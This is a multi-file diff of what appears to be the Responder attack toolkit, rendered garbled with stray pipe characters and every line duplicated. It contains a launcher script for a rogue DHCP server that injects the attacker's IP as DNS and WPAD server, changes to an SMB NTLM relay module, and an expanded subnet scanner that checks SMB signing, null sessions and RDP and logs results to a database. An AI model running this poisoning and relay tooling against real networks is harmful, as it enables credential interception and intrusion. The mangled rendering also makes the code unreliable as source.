# to run the rogue DHCP server, to inject only your IP
|
|
||||||
# address as the primary DNS server and WPAD server and
|
|
||||||
# leave everything else normal.
|
|
||||||
|
|
||||||
if [ -z $1 ]; then
|
|
||||||
echo "usage: $0 <interface>"
|
|
||||||
exit
|
|
||||||
fi
|
|
||||||
|
|
||||||
if [ $EUID -ne 0 ]; then
|
|
||||||
echo "Must be run as root."
|
|
||||||
exit
|
|
||||||
fi
|
|
||||||
|
|
||||||
if [ ! -d "/sys/class/net/$1" ]; then
|
|
||||||
echo "Interface does not exist."
|
|
||||||
exit
|
|
||||||
fi
|
|
||||||
|
|
||||||
INTF=$1
|
|
||||||
PATH="$PATH:/sbin"
|
|
||||||
IPADDR=`ifconfig $INTF | sed -n 's/inet addr/inet/; s/inet[ :]//p' | awk '{print $1}'`
|
|
||||||
NETMASK=`ifconfig $INTF | sed -n 's/.*[Mm]ask[: ]//p' | awk '{print $1}'`
|
|
||||||
DOMAIN=`grep -E "^domain |^search " /etc/resolv.conf | sort | head -1 | awk '{print $2}'`
|
|
||||||
DNS1=$IPADDR
|
|
||||||
DNS2=`grep ^nameserver /etc/resolv.conf | head -1 | awk '{print $2}'`
|
|
||||||
ROUTER=`route -n | grep ^0.0.0.0 | awk '{print $2}'`
|
|
||||||
WPADSTR="http://$IPADDR/wpad.dat"
|
|
||||||
if [ -z "$DOMAIN" ]; then
|
|
||||||
DOMAIN=" "
|
|
||||||
fi
|
|
||||||
|
|
||||||
echo "Running with parameters:"
|
|
||||||
echo "INTERFACE: $INTF"
|
|
||||||
echo "IP ADDR: $IPADDR"
|
|
||||||
echo "NETMAST: $NETMASK"
|
|
||||||
echo "ROUTER IP: $ROUTER"
|
|
||||||
echo "DNS1 IP: $DNS1"
|
|
||||||
echo "DNS2 IP: $DNS2"
|
|
||||||
echo "WPAD: $WPADSTR"
|
|
||||||
echo ""
|
|
||||||
|
|
||||||
|
|
||||||
echo python DHCP.py -I $INTF -r $ROUTER -p $DNS1 -s $DNS2 -n $NETMASK -d \"$DOMAIN\" -w \"$WPADSTR\"
|
|
||||||
python DHCP.py -I $INTF -r $ROUTER -p $DNS1 -s $DNS2 -n $NETMASK -d \"$DOMAIN\" -w \"$WPADSTR\"
|
|
||||||
@@ -29,7 +29,7 @@ import time
|
|||||||
import random
|
import random
|
||||||
import subprocess
|
import subprocess
|
||||||
from threading import Thread
|
from threading import Thread
|
||||||
if PY2OR3 is "PY3":
|
if PY2OR3 == "PY3":
|
||||||
from socketserver import TCPServer, UDPServer, ThreadingMixIn, BaseRequestHandler
|
from socketserver import TCPServer, UDPServer, ThreadingMixIn, BaseRequestHandler
|
||||||
else:
|
else:
|
||||||
from SocketServer import TCPServer, UDPServer, ThreadingMixIn, BaseRequestHandler
|
from SocketServer import TCPServer, UDPServer, ThreadingMixIn, BaseRequestHandler
|
||||||
@@ -159,13 +159,13 @@ Logs = logging
|
|||||||
Logs.basicConfig(filemode="w",filename=Logs_Path+'logs/SMBRelay-Session.txt',level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
|
Logs.basicConfig(filemode="w",filename=Logs_Path+'logs/SMBRelay-Session.txt',level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
|
||||||
|
|
||||||
def NetworkSendBufferPython2or3(data):
|
def NetworkSendBufferPython2or3(data):
|
||||||
if PY2OR3 is "PY2":
|
if PY2OR3 == "PY2":
|
||||||
return str(data)
|
return str(data)
|
||||||
else:
|
else:
|
||||||
return bytes(str(data), 'latin-1')
|
return bytes(str(data), 'latin-1')
|
||||||
|
|
||||||
def NetworkRecvBufferPython2or3(data):
|
def NetworkRecvBufferPython2or3(data):
|
||||||
if PY2OR3 is "PY2":
|
if PY2OR3 == "PY2":
|
||||||
return str(data)
|
return str(data)
|
||||||
else:
|
else:
|
||||||
return str(data.decode('latin-1'))
|
return str(data.decode('latin-1'))
|
||||||
@@ -446,12 +446,12 @@ class SMBRelay(BaseRequestHandler):
|
|||||||
data = self.request.recv(4096)
|
data = self.request.recv(4096)
|
||||||
|
|
||||||
## Make sure it's not a Kerberos auth.
|
## Make sure it's not a Kerberos auth.
|
||||||
if data.find(b'NTLM') is not -1:
|
if data.find(b'NTLM') != -1:
|
||||||
## Start with nego protocol + session setup negotiate to our target.
|
## Start with nego protocol + session setup negotiate to our target.
|
||||||
data, smbdata, s, challenge = GrabNegotiateFromTarget(data, s, Pivoting)
|
data, smbdata, s, challenge = GrabNegotiateFromTarget(data, s, Pivoting)
|
||||||
|
|
||||||
## Make sure it's not a Kerberos auth.
|
## Make sure it's not a Kerberos auth.
|
||||||
if data.find(b'NTLM') is not -1:
|
if data.find(b'NTLM') != -1:
|
||||||
##Relay all that to our client.
|
##Relay all that to our client.
|
||||||
if data[8:10] == b'\x73\x00':
|
if data[8:10] == b'\x73\x00':
|
||||||
head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x43\xc8", errorcode="\x16\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data))
|
head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x43\xc8", errorcode="\x16\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data))
|
||||||
|
|||||||
@@ -66,20 +66,20 @@ class Packet():
|
|||||||
|
|
||||||
def StructWithLenPython2or3(endian,data):
|
def StructWithLenPython2or3(endian,data):
|
||||||
#Python2...
|
#Python2...
|
||||||
if PY2OR3 is "PY2":
|
if PY2OR3 == "PY2":
|
||||||
return struct.pack(endian, data)
|
return struct.pack(endian, data)
|
||||||
#Python3...
|
#Python3...
|
||||||
else:
|
else:
|
||||||
return struct.pack(endian, data).decode('latin-1')
|
return struct.pack(endian, data).decode('latin-1')
|
||||||
|
|
||||||
def NetworkSendBufferPython2or3(data):
|
def NetworkSendBufferPython2or3(data):
|
||||||
if PY2OR3 is "PY2":
|
if PY2OR3 == "PY2":
|
||||||
return str(data)
|
return str(data)
|
||||||
else:
|
else:
|
||||||
return bytes(str(data), 'latin-1')
|
return bytes(str(data), 'latin-1')
|
||||||
|
|
||||||
def NetworkRecvBufferPython2or3(data):
|
def NetworkRecvBufferPython2or3(data):
|
||||||
if PY2OR3 is "PY2":
|
if PY2OR3 == "PY2":
|
||||||
return str(data)
|
return str(data)
|
||||||
else:
|
else:
|
||||||
return str(data.decode('latin-1'))
|
return str(data.decode('latin-1'))
|
||||||
|
|||||||
@@ -45,7 +45,7 @@ else:
|
|||||||
|
|
||||||
def StructWithLenPython2or3(endian,data):
|
def StructWithLenPython2or3(endian,data):
|
||||||
#Python2...
|
#Python2...
|
||||||
if PY2OR3 is "PY2":
|
if PY2OR3 == "PY2":
|
||||||
return struct.pack(endian, data)
|
return struct.pack(endian, data)
|
||||||
#Python3...
|
#Python3...
|
||||||
else:
|
else:
|
||||||
|
|||||||
@@ -17,29 +17,36 @@
|
|||||||
import re,sys,struct
|
import re,sys,struct
|
||||||
import datetime
|
import datetime
|
||||||
import multiprocessing
|
import multiprocessing
|
||||||
from socket import *
|
import os
|
||||||
from odict import OrderedDict
|
|
||||||
import errno
|
import errno
|
||||||
import optparse
|
import optparse
|
||||||
|
import sqlite3
|
||||||
from RunFingerPackets import *
|
from RunFingerPackets import *
|
||||||
__version__ = "1.2"
|
from odict import OrderedDict
|
||||||
|
from socket import *
|
||||||
|
from odict import OrderedDict
|
||||||
|
|
||||||
|
__version__ = "1.7"
|
||||||
|
|
||||||
parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0])
|
parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0])
|
||||||
|
|
||||||
parser.add_option('-i','--ip', action="store", help="Target IP address or class C", dest="TARGET", metavar="10.10.10.224", default=None)
|
parser.add_option('-i','--ip', action="store", help="Target IP address or class C", dest="TARGET", metavar="10.10.10.224", default=None)
|
||||||
#Way better to have grepable output by default...
|
parser.add_option('-f','--filename', action="store", help="Target file", dest="Filename", metavar="ips.txt", default=None)
|
||||||
#parser.add_option('-g','--grep', action="store_true", dest="grep_output", default=False, help="Output in grepable format")
|
parser.add_option('-t','--timeout', action="store", help="Timeout for all connections. Use this option to fine tune Runfinger.", dest="Timeout", type="float", metavar="0.9", default=2)
|
||||||
|
|
||||||
options, args = parser.parse_args()
|
options, args = parser.parse_args()
|
||||||
|
|
||||||
if options.TARGET is None:
|
if options.TARGET == None and options.Filename == None:
|
||||||
print("\n-i Mandatory option is missing, please provide a target or target range.\n")
|
print("\n-i Mandatory option is missing, please provide a target or target range.\n")
|
||||||
parser.print_help()
|
parser.print_help()
|
||||||
exit(-1)
|
exit(-1)
|
||||||
|
|
||||||
Timeout = 2
|
Timeout = options.Timeout
|
||||||
Host = options.TARGET
|
Host = options.TARGET
|
||||||
|
Filename = options.Filename
|
||||||
SMB1 = "Enabled"
|
SMB1 = "Enabled"
|
||||||
SMB2signing = "False"
|
SMB2signing = "False"
|
||||||
|
DB = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/RunFinger.db"
|
||||||
|
|
||||||
class Packet():
|
class Packet():
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
@@ -60,6 +67,13 @@ if (sys.version_info > (3, 0)):
|
|||||||
else:
|
else:
|
||||||
PY2OR3 = "PY2"
|
PY2OR3 = "PY2"
|
||||||
|
|
||||||
|
|
||||||
|
if not os.path.exists(DB):
|
||||||
|
cursor = sqlite3.connect(DB)
|
||||||
|
cursor.execute('CREATE TABLE RunFinger (timestamp TEXT, Protocol TEXT, Host TEXT, WindowsVersion TEXT, OsVer TEXT, DomainJoined TEXT, Bootime TEXT, Signing TEXT, NullSess TEXT, IsRDPOn TEXT)')
|
||||||
|
cursor.commit()
|
||||||
|
cursor.close()
|
||||||
|
|
||||||
def StructWithLenPython2or3(endian,data):
|
def StructWithLenPython2or3(endian,data):
|
||||||
#Python2...
|
#Python2...
|
||||||
if PY2OR3 == "PY2":
|
if PY2OR3 == "PY2":
|
||||||
@@ -115,7 +129,23 @@ def WorkstationFingerPrint(data):
|
|||||||
def GetOsBuildNumber(data):
|
def GetOsBuildNumber(data):
|
||||||
ProductBuild = struct.unpack("<h",data)[0]
|
ProductBuild = struct.unpack("<h",data)[0]
|
||||||
return ProductBuild
|
return ProductBuild
|
||||||
|
|
||||||
|
def SaveRunFingerToDb(result):
|
||||||
|
for k in [ 'Protocol', 'Host', 'WindowsVersion', 'OsVer', 'DomainJoined', 'Bootime', 'Signing','NullSess', 'IsRPDOn']:
|
||||||
|
if not k in result:
|
||||||
|
result[k] = ''
|
||||||
|
|
||||||
|
cursor = sqlite3.connect(DB)
|
||||||
|
cursor.text_factory = sqlite3.Binary
|
||||||
|
res = cursor.execute("SELECT COUNT(*) AS count FROM RunFinger WHERE Protocol=? AND Host=? AND WindowsVersion=? AND OsVer=? AND DomainJoined=? AND Bootime=? AND Signing=? AND NullSess=? AND IsRDPOn=?", (result['Protocol'], result['Host'], result['WindowsVersion'], result['OsVer'], result['DomainJoined'], result['Bootime'], result['Signing'], result['NullSess'], result['IsRDPOn']))
|
||||||
|
(count,) = res.fetchone()
|
||||||
|
|
||||||
|
if not count:
|
||||||
|
cursor.execute("INSERT INTO RunFinger VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?, ?)", (result['Protocol'], result['Host'], result['WindowsVersion'], result['OsVer'], result['DomainJoined'], result['Bootime'], result['Signing'], result['NullSess'], result['IsRDPOn']))
|
||||||
|
cursor.commit()
|
||||||
|
|
||||||
|
cursor.close()
|
||||||
|
|
||||||
def ParseSMBNTLM2Exchange(data, host, bootime, signing): #Parse SMB NTLMSSP Response
|
def ParseSMBNTLM2Exchange(data, host, bootime, signing): #Parse SMB NTLMSSP Response
|
||||||
data = data.encode('latin-1')
|
data = data.encode('latin-1')
|
||||||
SSPIStart = data.find(b'NTLMSSP')
|
SSPIStart = data.find(b'NTLMSSP')
|
||||||
@@ -130,7 +160,19 @@ def ParseSMBNTLM2Exchange(data, host, bootime, signing): #Parse SMB NTLMSSP Res
|
|||||||
WindowsVers = WorkstationFingerPrint(data[SSPIStart+48:SSPIStart+50])
|
WindowsVers = WorkstationFingerPrint(data[SSPIStart+48:SSPIStart+50])
|
||||||
WindowsBuildVers = GetOsBuildNumber(data[SSPIStart+50:SSPIStart+52])
|
WindowsBuildVers = GetOsBuildNumber(data[SSPIStart+50:SSPIStart+52])
|
||||||
DomainGrab((host, 445))
|
DomainGrab((host, 445))
|
||||||
print(("[SMB2]:['{}', Os:'{}', Build:'{}', Domain:'{}', Bootime: '{}', Signing:'{}', RDP:'{}', SMB1:'{}']".format(host, WindowsVers, str(WindowsBuildVers), Domain, Bootime, signing, IsRDPOn((host,3389)),SMB1)))
|
RDP = IsRDPOn((host,3389))
|
||||||
|
print(("[SMB2]:['{}', Os:'{}', Build:'{}', Domain:'{}', Bootime: '{}', Signing:'{}', RDP:'{}', SMB1:'{}']".format(host, WindowsVers, str(WindowsBuildVers), Domain, Bootime, signing, RDP,SMB1)))
|
||||||
|
SaveRunFingerToDb({
|
||||||
|
'Protocol': '[SMB2]',
|
||||||
|
'Host': host,
|
||||||
|
'WindowsVersion': WindowsVers,
|
||||||
|
'OsVer': str(WindowsBuildVers),
|
||||||
|
'DomainJoined': Domain,
|
||||||
|
'Bootime': Bootime,
|
||||||
|
'Signing': signing,
|
||||||
|
'NullSess': 'N/A',
|
||||||
|
'IsRDPOn':RDP,
|
||||||
|
})
|
||||||
|
|
||||||
def GetBootTime(data):
|
def GetBootTime(data):
|
||||||
data = data.encode('latin-1')
|
data = data.encode('latin-1')
|
||||||
@@ -157,9 +199,9 @@ def IsDCVuln(t, host):
|
|||||||
|
|
||||||
def IsSigningEnabled(data):
|
def IsSigningEnabled(data):
|
||||||
if data[39] == "\x0f":
|
if data[39] == "\x0f":
|
||||||
return True
|
return 'True'
|
||||||
else:
|
else:
|
||||||
return False
|
return 'False'
|
||||||
|
|
||||||
def atod(a):
|
def atod(a):
|
||||||
return struct.unpack("!L",inet_aton(a))[0]
|
return struct.unpack("!L",inet_aton(a))[0]
|
||||||
@@ -169,7 +211,10 @@ def dtoa(d):
|
|||||||
|
|
||||||
def OsNameClientVersion(data):
|
def OsNameClientVersion(data):
|
||||||
try:
|
try:
|
||||||
length = struct.unpack('<H',data[43:45].encode('latin-1'))[0]
|
if PY2OR3 == "PY3":
|
||||||
|
length = struct.unpack('<H',data[43:45].encode('latin-1'))[0]
|
||||||
|
else:
|
||||||
|
length = struct.unpack('<H',data[43:45])[0]
|
||||||
if length > 255:
|
if length > 255:
|
||||||
OsVersion, ClientVersion = tuple([e.replace("\x00", "") for e in data[47+length:].split('\x00\x00\x00')[:2]])
|
OsVersion, ClientVersion = tuple([e.replace("\x00", "") for e in data[47+length:].split('\x00\x00\x00')[:2]])
|
||||||
return OsVersion, ClientVersion
|
return OsVersion, ClientVersion
|
||||||
@@ -189,14 +234,13 @@ def GetHostnameAndDomainName(data):
|
|||||||
Hostname = data[113:].decode('latin-1')
|
Hostname = data[113:].decode('latin-1')
|
||||||
return Hostname, DomainJoined
|
return Hostname, DomainJoined
|
||||||
except:
|
except:
|
||||||
pass
|
|
||||||
return "Could not get Hostname.", "Could not get Domain joined"
|
return "Could not get Hostname.", "Could not get Domain joined"
|
||||||
|
|
||||||
def DomainGrab(Host):
|
def DomainGrab(Host):
|
||||||
global SMB1
|
global SMB1
|
||||||
|
s = socket(AF_INET, SOCK_STREAM)
|
||||||
|
s.settimeout(Timeout)
|
||||||
try:
|
try:
|
||||||
s = socket(AF_INET, SOCK_STREAM)
|
|
||||||
s.settimeout(0.7)
|
|
||||||
s.connect(Host)
|
s.connect(Host)
|
||||||
h = SMBHeaderLanMan(cmd="\x72",mid="\x01\x00",flag1="\x00", flag2="\x00\x00")
|
h = SMBHeaderLanMan(cmd="\x72",mid="\x01\x00",flag1="\x00", flag2="\x00\x00")
|
||||||
n = SMBNegoDataLanMan()
|
n = SMBNegoDataLanMan()
|
||||||
@@ -216,11 +260,12 @@ def DomainGrab(Host):
|
|||||||
|
|
||||||
def SmbFinger(Host):
|
def SmbFinger(Host):
|
||||||
s = socket(AF_INET, SOCK_STREAM)
|
s = socket(AF_INET, SOCK_STREAM)
|
||||||
|
s.settimeout(Timeout)
|
||||||
try:
|
try:
|
||||||
s.settimeout(Timeout)
|
|
||||||
s.connect(Host)
|
s.connect(Host)
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
try:
|
try:
|
||||||
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
|
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
|
||||||
n = SMBNego(Data = SMBNegoData())
|
n = SMBNego(Data = SMBNegoData())
|
||||||
@@ -245,8 +290,8 @@ def SmbFinger(Host):
|
|||||||
|
|
||||||
def check_smb_null_session(host):
|
def check_smb_null_session(host):
|
||||||
s = socket(AF_INET, SOCK_STREAM)
|
s = socket(AF_INET, SOCK_STREAM)
|
||||||
|
s.settimeout(Timeout)
|
||||||
try:
|
try:
|
||||||
s.settimeout(Timeout)
|
|
||||||
s.connect(host)
|
s.connect(host)
|
||||||
h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x53\xc8")
|
h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x53\xc8")
|
||||||
n = SMBNego(Data = SMBNegoData())
|
n = SMBNego(Data = SMBNegoData())
|
||||||
@@ -280,9 +325,9 @@ def check_smb_null_session(host):
|
|||||||
s.send(NetworkSendBufferPython2or3(buffer0))
|
s.send(NetworkSendBufferPython2or3(buffer0))
|
||||||
data = s.recv(2048)
|
data = s.recv(2048)
|
||||||
if data[8:10] == b'\x75\x00':
|
if data[8:10] == b'\x75\x00':
|
||||||
return True
|
return 'True'
|
||||||
else:
|
else:
|
||||||
return False
|
return 'False'
|
||||||
except Exception:
|
except Exception:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
@@ -290,12 +335,12 @@ def check_smb_null_session(host):
|
|||||||
#SMB2 part:
|
#SMB2 part:
|
||||||
|
|
||||||
def ConnectAndChoseSMB(host):
|
def ConnectAndChoseSMB(host):
|
||||||
|
s = socket(AF_INET, SOCK_STREAM)
|
||||||
|
s.settimeout(Timeout)
|
||||||
try:
|
try:
|
||||||
s = socket(AF_INET, SOCK_STREAM)
|
|
||||||
s.settimeout(0.7)
|
|
||||||
s.connect(host)
|
s.connect(host)
|
||||||
except:
|
except:
|
||||||
return None
|
return False
|
||||||
h = SMBHeader(cmd="\x72",flag1="\x00")
|
h = SMBHeader(cmd="\x72",flag1="\x00")
|
||||||
n = SMBNego(Data = SMB2NegoData())
|
n = SMBNego(Data = SMB2NegoData())
|
||||||
n.calculate()
|
n.calculate()
|
||||||
@@ -341,67 +386,79 @@ def handle(data, host):
|
|||||||
ParseSMBNTLM2Exchange(data, host[0], Bootime, SMB2signing)
|
ParseSMBNTLM2Exchange(data, host[0], Bootime, SMB2signing)
|
||||||
|
|
||||||
##################
|
##################
|
||||||
#run it
|
|
||||||
def ShowResults(Host):
|
|
||||||
if ConnectAndChoseSMB((Host,445)) == False:
|
|
||||||
try:
|
|
||||||
Hostname, DomainJoined = DomainGrab((Host, 445))
|
|
||||||
Signing, OsVer, LanManClient = SmbFinger((Host, 445))
|
|
||||||
NullSess = check_smb_null_session((Host, 445))
|
|
||||||
print(("Retrieving information for %s..."%(Host)))
|
|
||||||
print(("SMB signing: %s"%(Signing)))
|
|
||||||
print(("Null Sessions Allowed: %s"%(NullSess)))
|
|
||||||
print(("OS version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient)))
|
|
||||||
print(("Machine Hostname: '%s'\nThis machine is part of the '%s' domain"%(Hostname, DomainJoined)))
|
|
||||||
print(("RDP port open: '%s'\n"%(IsRDPOn((Host,3389)))))
|
|
||||||
except:
|
|
||||||
return False
|
|
||||||
|
|
||||||
|
|
||||||
def ShowSmallResults(Host):
|
def ShowSmallResults(Host):
|
||||||
if ConnectAndChoseSMB((Host,445)) == False:
|
if ConnectAndChoseSMB((Host,445)) == False:
|
||||||
try:
|
try:
|
||||||
Hostname, DomainJoined = DomainGrab((Host, 445))
|
Hostname, DomainJoined = DomainGrab((Host, 445))
|
||||||
Signing, OsVer, LanManClient = SmbFinger((Host, 445))
|
Signing, OsVer, LanManClient = SmbFinger((Host, 445))
|
||||||
NullSess = check_smb_null_session((Host, 445))
|
NullSess = check_smb_null_session((Host, 445))
|
||||||
print(("[SMB1]:['{}', Os:'{}', Domain:'{}', Signing:'{}', Null Session: '{}', RDP:'{}']".format(Host, OsVer, DomainJoined, Signing, NullSess,IsRDPOn((Host,3389)))))
|
RDP = IsRDPOn((Host,3389))
|
||||||
|
print(("[SMB1]:['{}', Os:'{}', Domain:'{}', Signing:'{}', Null Session: '{}', RDP:'{}']".format(Host, OsVer, DomainJoined, Signing, NullSess,RDP)))
|
||||||
|
SaveRunFingerToDb({
|
||||||
|
'Protocol': '[SMB1]',
|
||||||
|
'Host': Host,
|
||||||
|
'WindowsVersion':OsVer,
|
||||||
|
'OsVer': OsVer,
|
||||||
|
'DomainJoined':DomainJoined,
|
||||||
|
'Bootime': 'N/A',
|
||||||
|
'Signing': Signing,
|
||||||
|
'NullSess': NullSess,
|
||||||
|
'IsRDPOn':RDP,
|
||||||
|
})
|
||||||
except:
|
except:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
|
||||||
def IsRDPOn(Host):
|
def IsRDPOn(Host):
|
||||||
s = socket(AF_INET, SOCK_STREAM)
|
s = socket(AF_INET, SOCK_STREAM)
|
||||||
|
s.settimeout(Timeout)
|
||||||
try:
|
try:
|
||||||
s.settimeout(Timeout)
|
|
||||||
s.connect(Host)
|
s.connect(Host)
|
||||||
if s:
|
if s:
|
||||||
return True
|
return 'True'
|
||||||
else:
|
else:
|
||||||
return False
|
return 'False'
|
||||||
|
|
||||||
except Exception as err:
|
except Exception as err:
|
||||||
return False
|
return 'False'
|
||||||
|
|
||||||
def RunFinger(Host):
|
def RunFinger(Host):
|
||||||
m = re.search("/", str(Host))
|
if Filename != None:
|
||||||
if m:
|
with open(Filename) as fp:
|
||||||
net,_,mask = Host.partition('/')
|
Line = fp.read().splitlines()
|
||||||
mask = int(mask)
|
for Ln in Line:
|
||||||
net = atod(net)
|
m = re.search("/", str(Ln))
|
||||||
threads = []
|
if m:
|
||||||
"""
|
net,_,mask = Ln.partition('/')
|
||||||
if options.grep_output:
|
mask = int(mask)
|
||||||
func = ShowSmallResults
|
net = atod(net)
|
||||||
else:
|
threads = []
|
||||||
func = ShowResults
|
Pool = multiprocessing.Pool(processes=250)
|
||||||
"""
|
func = ShowSmallResults
|
||||||
func = ShowSmallResults
|
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
|
||||||
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
|
proc = Pool.apply_async(func, ((host),))
|
||||||
p = multiprocessing.Process(target=func, args=((host),))
|
threads.append(proc)
|
||||||
threads.append(p)
|
for proc in threads:
|
||||||
p.start()
|
proc.get()
|
||||||
else:
|
else:
|
||||||
ShowSmallResults(Host)
|
ShowSmallResults(Ln)
|
||||||
|
|
||||||
|
if Filename == None:
|
||||||
|
m = re.search("/", str(Host))
|
||||||
|
if m:
|
||||||
|
net,_,mask = Host.partition('/')
|
||||||
|
mask = int(mask)
|
||||||
|
net = atod(net)
|
||||||
|
threads = []
|
||||||
|
Pool = multiprocessing.Pool(processes=250)
|
||||||
|
func = ShowSmallResults
|
||||||
|
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
|
||||||
|
proc = Pool.apply_async(func, ((host),))
|
||||||
|
threads.append(proc)
|
||||||
|
for proc in threads:
|
||||||
|
proc.get()
|
||||||
|
else:
|
||||||
|
ShowSmallResults(Host)
|
||||||
|
|
||||||
|
|
||||||
RunFinger(Host)
|
RunFinger(Host)
|
||||||
|
|||||||
@@ -11,7 +11,7 @@ else:
|
|||||||
|
|
||||||
def StructWithLenPython2or3(endian,data):
|
def StructWithLenPython2or3(endian,data):
|
||||||
#Python2...
|
#Python2...
|
||||||
if PY2OR3 is "PY2":
|
if PY2OR3 == "PY2":
|
||||||
return struct.pack(endian, data)
|
return struct.pack(endian, data)
|
||||||
#Python3...
|
#Python3...
|
||||||
else:
|
else:
|
||||||
|
|||||||
@@ -47,20 +47,20 @@ SMB1 = "Enabled"
|
|||||||
|
|
||||||
def StructWithLenPython2or3(endian,data):
|
def StructWithLenPython2or3(endian,data):
|
||||||
#Python2...
|
#Python2...
|
||||||
if PY2OR3 is "PY2":
|
if PY2OR3 == "PY2":
|
||||||
return struct.pack(endian, data)
|
return struct.pack(endian, data)
|
||||||
#Python3...
|
#Python3...
|
||||||
else:
|
else:
|
||||||
return struct.pack(endian, data).decode('latin-1')
|
return struct.pack(endian, data).decode('latin-1')
|
||||||
|
|
||||||
def NetworkSendBufferPython2or3(data):
|
def NetworkSendBufferPython2or3(data):
|
||||||
if PY2OR3 is "PY2":
|
if PY2OR3 == "PY2":
|
||||||
return str(data)
|
return str(data)
|
||||||
else:
|
else:
|
||||||
return bytes(str(data), 'latin-1')
|
return bytes(str(data), 'latin-1')
|
||||||
|
|
||||||
def NetworkRecvBufferPython2or3(data):
|
def NetworkRecvBufferPython2or3(data):
|
||||||
if PY2OR3 is "PY2":
|
if PY2OR3 == "PY2":
|
||||||
return str(data)
|
return str(data)
|
||||||
else:
|
else:
|
||||||
return str(data.decode('latin-1'))
|
return str(data.decode('latin-1'))
|
||||||
|
|||||||
27
utils.py
Normal file → Executable file
27
utils.py
Normal file → Executable file
@@ -210,6 +210,8 @@ def CreateResponderDb():
|
|||||||
cursor.commit()
|
cursor.commit()
|
||||||
cursor.execute('CREATE TABLE responder (timestamp TEXT, module TEXT, type TEXT, client TEXT, hostname TEXT, user TEXT, cleartext TEXT, hash TEXT, fullhash TEXT)')
|
cursor.execute('CREATE TABLE responder (timestamp TEXT, module TEXT, type TEXT, client TEXT, hostname TEXT, user TEXT, cleartext TEXT, hash TEXT, fullhash TEXT)')
|
||||||
cursor.commit()
|
cursor.commit()
|
||||||
|
cursor.execute('CREATE TABLE DHCP (timestamp TEXT, MAC TEXT, IP TEXT, RequestedIP TEXT)')
|
||||||
|
cursor.commit()
|
||||||
cursor.close()
|
cursor.close()
|
||||||
|
|
||||||
def SaveToDb(result):
|
def SaveToDb(result):
|
||||||
@@ -305,7 +307,22 @@ def SavePoisonersToDb(result):
|
|||||||
|
|
||||||
cursor.close()
|
cursor.close()
|
||||||
|
|
||||||
|
def SaveDHCPToDb(result):
|
||||||
|
for k in [ 'MAC', 'IP', 'RequestedIP']:
|
||||||
|
if not k in result:
|
||||||
|
result[k] = ''
|
||||||
|
|
||||||
|
cursor = sqlite3.connect(settings.Config.DatabaseFile)
|
||||||
|
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
|
||||||
|
res = cursor.execute("SELECT COUNT(*) AS count FROM DHCP WHERE MAC=? AND IP=? AND RequestedIP=?", (result['MAC'], result['IP'], result['RequestedIP']))
|
||||||
|
(count,) = res.fetchone()
|
||||||
|
|
||||||
|
if not count:
|
||||||
|
cursor.execute("INSERT INTO DHCP VALUES(datetime('now'), ?, ?, ?)", (result['MAC'], result['IP'], result['RequestedIP']))
|
||||||
|
cursor.commit()
|
||||||
|
|
||||||
|
cursor.close()
|
||||||
|
|
||||||
def Parse_IPV6_Addr(data):
|
def Parse_IPV6_Addr(data):
|
||||||
if data[len(data)-4:len(data)][1] ==b'\x1c':
|
if data[len(data)-4:len(data)][1] ==b'\x1c':
|
||||||
return False
|
return False
|
||||||
@@ -369,6 +386,7 @@ def StartupMessage():
|
|||||||
print(' %-27s' % "LLMNR" + enabled)
|
print(' %-27s' % "LLMNR" + enabled)
|
||||||
print(' %-27s' % "NBT-NS" + enabled)
|
print(' %-27s' % "NBT-NS" + enabled)
|
||||||
print(' %-27s' % "DNS/MDNS" + enabled)
|
print(' %-27s' % "DNS/MDNS" + enabled)
|
||||||
|
print(' %-27s' % "DHCP" + (enabled if settings.Config.DHCP_On_Off else disabled))
|
||||||
print('')
|
print('')
|
||||||
|
|
||||||
print(color("[+] ", 2, 1) + "Servers:")
|
print(color("[+] ", 2, 1) + "Servers:")
|
||||||
@@ -386,6 +404,8 @@ def StartupMessage():
|
|||||||
print(' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled))
|
print(' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled))
|
||||||
print(' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled))
|
print(' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled))
|
||||||
print(' %-27s' % "RDP server" + (enabled if settings.Config.RDP_On_Off else disabled))
|
print(' %-27s' % "RDP server" + (enabled if settings.Config.RDP_On_Off else disabled))
|
||||||
|
print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.RDP_On_Off else disabled))
|
||||||
|
print(' %-27s' % "WinRM server" + (enabled if settings.Config.WinRM_On_Off else disabled))
|
||||||
print('')
|
print('')
|
||||||
|
|
||||||
print(color("[+] ", 2, 1) + "HTTP Options:")
|
print(color("[+] ", 2, 1) + "HTTP Options:")
|
||||||
@@ -401,6 +421,7 @@ def StartupMessage():
|
|||||||
print(' %-27s' % "Force WPAD auth" + (enabled if settings.Config.Force_WPAD_Auth else disabled))
|
print(' %-27s' % "Force WPAD auth" + (enabled if settings.Config.Force_WPAD_Auth else disabled))
|
||||||
